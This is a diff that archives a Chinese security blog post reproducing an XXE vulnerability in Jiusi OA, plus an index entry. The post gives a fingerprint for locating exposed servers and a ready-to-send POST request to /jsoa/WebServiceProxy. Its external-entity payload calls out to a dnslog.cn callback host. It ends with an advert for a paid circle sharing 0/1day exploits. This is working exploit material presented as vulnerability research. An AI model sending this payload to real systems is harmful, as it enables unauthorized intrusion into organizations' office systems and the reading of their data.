【漏洞复现】九思oa-XXE、

data.json

@@ -15263,5 +15263,6 @@
     "https://mp.weixin.qq.com/s?__biz=MzAxNjg3MjczOA==&mid=2247486834&idx=1&sn=fb68fb05e911038caec9275525364076": "CVE-2025-33053：立即更新Windows的充分理由",
     "https://mp.weixin.qq.com/s?__biz=MzkyOTQyOTk3Mg==&mid=2247485324&idx=1&sn=9459be4ffec2530bb9f7315d72100e03": "一款渗透场景下的内网漏洞自动化扫描工具",
     "https://mp.weixin.qq.com/s?__biz=MzkyNDcwMTAwNw==&mid=2247535205&idx=3&sn=638f34099ca5d39a3fe9321aa0629c4e": "数据裸奔遭境外窃取！北京网信办顶格处罚两家“漏洞企业”",
-    "https://mp.weixin.qq.com/s?__biz=Mzg4NTg5MDQ0OA==&mid=2247488117&idx=1&sn=3b34f82ff0a524550f1a692cb328f9bc": "高危预警！Windows曝“反射型Kerberos中继攻击”漏洞，攻击者可直取SYSTEM权限(含POC链接)"
+    "https://mp.weixin.qq.com/s?__biz=Mzg4NTg5MDQ0OA==&mid=2247488117&idx=1&sn=3b34f82ff0a524550f1a692cb328f9bc": "高危预警！Windows曝“反射型Kerberos中继攻击”漏洞，攻击者可直取SYSTEM权限(含POC链接)",
+    "https://mp.weixin.qq.com/s?__biz=MzkzNDI5NjEzMQ==&mid=2247484832&idx=1&sn=9a171d184af60ecce4816d36d84c0352": "【漏洞复现】九思oa-XXE"
 }

doc/2025-06/【漏洞复现】九思oa-XXE.md

@@ -0,0 +1,66 @@
+#  【漏洞复现】九思oa-XXE  
+原创 跟着斯叔唠安全  跟着斯叔唠安全   2025-06-16 23:01  
+  
+免责声明  
+：  
+请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。  
+  
+  
+1  
+  
+Start  
+  
+指纹  
+```
+body="/jsoa/login.jsp"
+```  
+  
+  
+2  
+  
+Action  
+```
+POST /jsoa/WebServiceProxy HTTP/1.1
+Host:
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
+(KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
+Accept: */*
+Accept-Encoding: gzip, deflate, br
+Accept-Language: zh-CN,zh;q=0.9
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 85
+
+<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://xxx.dnslog.cn">
+ %remote;]>
+```  
+  
+![](https://mmbiz.qpic.cn/mmbiz_png/pKCicPnn24UZKn5F9wXcZVHw4kykeFZEibeRn89piaiaRhTwN3Sia7DQx74CdLpqxMuNu5D3QadpnA1nrZYXHPeWJWA/640?wx_fmt=png&from=appmsg "")  
+  
+代码审计报告已上传至纷传圈子中，需要的师傅可以自取哈  
+  
+  
+3  
+  
+End  
+  
+🚀 **新圈子上线 | 高质量安全内容持续更新中！**  
+  
+我最近在纷传上建立了一个全新的安全技术圈子，主要聚焦于 **WEB安全、APP安全、代码审计、漏洞分享**  
+ 等核心方向。目前圈子刚刚建立，内容还不算多，但会**持续高频更新**  
+，只分享真正有价值、有深度的干货文章。  
+  
+📚 圈子中包含：  
+- 高质量原创或精选的安全技术文章  
+  
+- 公众号历史付费内容免费查看（如：小程序RPC、APP抓包解决方案）  
+  
+- 一些只在圈子内分享的独家思路和实战经验  
+  
+- 不定期分享0/1day  
+  
+![](https://mmbiz.qpic.cn/mmbiz_png/pKCicPnn24UaQw8cfe5zo87XFXicicayuia9gvdmBnX6lOnSygn4NFJlzqeyxyes0uIYicDwGwh3rbAYicdwYFhK3Ang/640?wx_fmt=png&from=appmsg "")  
+  
+  
+  
+